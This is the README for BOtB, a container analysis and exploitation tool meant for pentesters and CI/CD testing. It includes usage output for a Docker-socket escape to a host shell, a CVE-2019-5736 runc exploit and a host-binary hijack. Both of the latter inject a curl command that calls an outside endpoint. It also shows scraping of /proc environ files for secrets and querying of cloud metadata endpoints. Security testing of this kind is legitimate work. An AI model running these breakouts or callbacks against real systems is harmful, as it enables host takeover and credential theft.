BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.
BOtB is a CLI tool which allows you to:
- Exploit common container vulnerabilties
- Perform common container post exploitation actions
- Provide capability when certain tools or binaries are not available in the Container
- Use BOtB's capabilities with CI/CD technologies to test container deployments
- Perform the above in either a manual or automated approach
- Find and Identify UNIX Domain Sockets
- Identify UNIX domain sockets which support HTTP
- Find and identify the Docker Daemon on UNIX domain sockets or on an interface
- Analyze and identify sensitive strings in ENV and process in the ProcFS i.e /Proc/{pid}/Environ
- Identify metadata services endpoints i.e http://169.254.169.254
- Perform a container breakout via exposed Docker daemons
- Perform a container breakout via CVE-2019-5736
- Hijack host binaries with a custom payload
- Perform actions in CI/CD mode and only return exit codes > 0
BOtB is available as a binary in the Releases Section.
BOtB is written in GO and can be built using the standard GO tools. The following can be done to get you started:
Getting the Code:
go get github.com/brompwnie/botb
or
git clone git@github.com:brompwnie/botb.git
Building the Code:
govendor init
govendor add github.com/tv42/httpunix
govendor add github.com/kr/pty
go build -o botbsBinary
BOtB can be compiled into a binary for the targeted platform and supports the following usage
./bob_linux_amd64 -h
[+] Break Out The Box
Usage of ./bob_linux_amd64:
-aggr string
Attempt to exploit RuncPWN (default "nil")
-autopwn
Attempt to autopwn exposed sockets
-cicd
Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
-endpointlist string
Provide a wordlist (default "nil")
-findDockerD
Attempt to find Dockerd
-hijack string
Attempt to hijack binaries on host (default "nil")
-http
Hunt for Available UNIX Domain Sockets with HTTP
-interfaces
Display available network interfaces
-metadata
Attempt to find metadata services
-path string
Path to Start Scanning for UNIX Domain Sockets (default "/")
-portscan string
Attempt to portscan a host (default "nil")
-recon
Perform Recon of the Container ENV
-socket
Hunt for Available UNIX Domain Sockets
-verbose
Verbose output
-wordlist string
Provide a wordlist (default "nil")
The following usage examples will return a Exit Code > 0 by default when an anomaly is detected, this is depicted by "echo $?" which shows the exit code of the last executed command.
#./bob_linux_amd64 -socket=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished
#echo $?
1
#./bob_linux_amd64 -findDockerD=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished
#echo $?
1
This approach will breakout into an interactive TTY on the host.
#./bob_linux_amd64 -autopwn=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ #
This approach does not escape into a TTY on the host but instead returns an Exit Code > 0 to indicate a successful container breakout.
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished
#echo $?
1
Please note that for this exploit to work, a process has to be executed in the target container in this scenario.
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished
Please note that this can be used to test if external entities are executing commands within the container. Examples are Docker Exec and Kubetcl CP.
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1
[+] Currently hijacking: /bin
[+] Currently hijacking: /sbin
[+] Currently hijacking: /usr/bin
[+] Finished
By default BOtB will search for the two terms "secret" and "password".
./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
[!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
[!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV: foo=secretpassword
[+] Finished
#echo $?
1
A wordlist can be supplied to BOtB to scan for particular keywords.
#cat wordlist.txt
moo
# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished
# echo $?
0
BOtB by default scans for two Metadata endpoints.
# ./bob_linux_amd64 -metadata=true
[+] Break Out The Box
[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
[+] Finished
# echo $?
0
BOtB can also be supplied with a list of endpoints to scan for.
# cat endpoints.txt
https://heroku.com
# ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished
# echo $?
1
# ./bob_linux_amd64 -interfaces=true
[+] Break Out The Box
[+] Attempting to get local network interfaces
[*] Got Interface: lo
[*] Got address: 127.0.0.1/8
[*] Got Interface: tunl0
[*] Got Interface: ip6tnl0
[*] Got Interface: eth0
[*] Got address: 172.17.0.3/16
[+] Finished
BOtB can be used with CI\CD technologies that make use of exit codes to determine if tests have passed or failed. Below is a Shell script that executes two BOtB tests and the exit codes of the two tests are used to set the exit of the Shell script. If any of the two tests return an Exit Code >0, the test executing the shell script will fail.
#!/bin/sh
exitCode=0
echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?
echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?
(exit $exitCode)
The above script is not the only way to use BOtB with CI\CD technologies but could also be used by itself and not wrapped in a shell script. An example YML config would be:
version: 2
cicd:
runATest: ./bob_linux_amd64 -autopwn -cicd=true
Below is an example config that can be used with Heroku CI:
{
"environments": {
"test": {
"scripts": {
"test": "./bob_linux_amd64 -autopwn -cicd=true"
}
}
}
}
Below is an example config with Heroku CI but using a wrapper shell script:
{
"environments": {
"test": {
"scripts": {
"test": "./bin/testSocksAndEnv.sh"
}
}
}
}
For any bugs, please submit an issue. There is a long list of improvements but please submit an Issue if there is something you want to see added to BOtB.
This tool would not be possible without the contribution of others in the community, below is a list of resources that have helped me.
- https://docs.docker.com/engine/security/https/
- https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp
- https://docs.docker.com/engine/reference/commandline/exec/
- https://github.com/GoogleContainerTools/container-structure-test
- https://github.com/coreos/clair
- https://github.com/aquasecurity/docker-bench
- https://www.cisecurity.org/benchmark/docker/
- https://github.com/Frichetten/CVE-2019-5736-PoC
- https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/
- https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/
- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html
- https://github.com/wagoodman/dive
- https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf
BOtB is scheduled to be presented at the following:
- BSides London 2019 (https://sched.co/PAwB) and slides can be found here https://github.com/brompwnie/bsideslondon2019
- Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988)
BOtB is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0).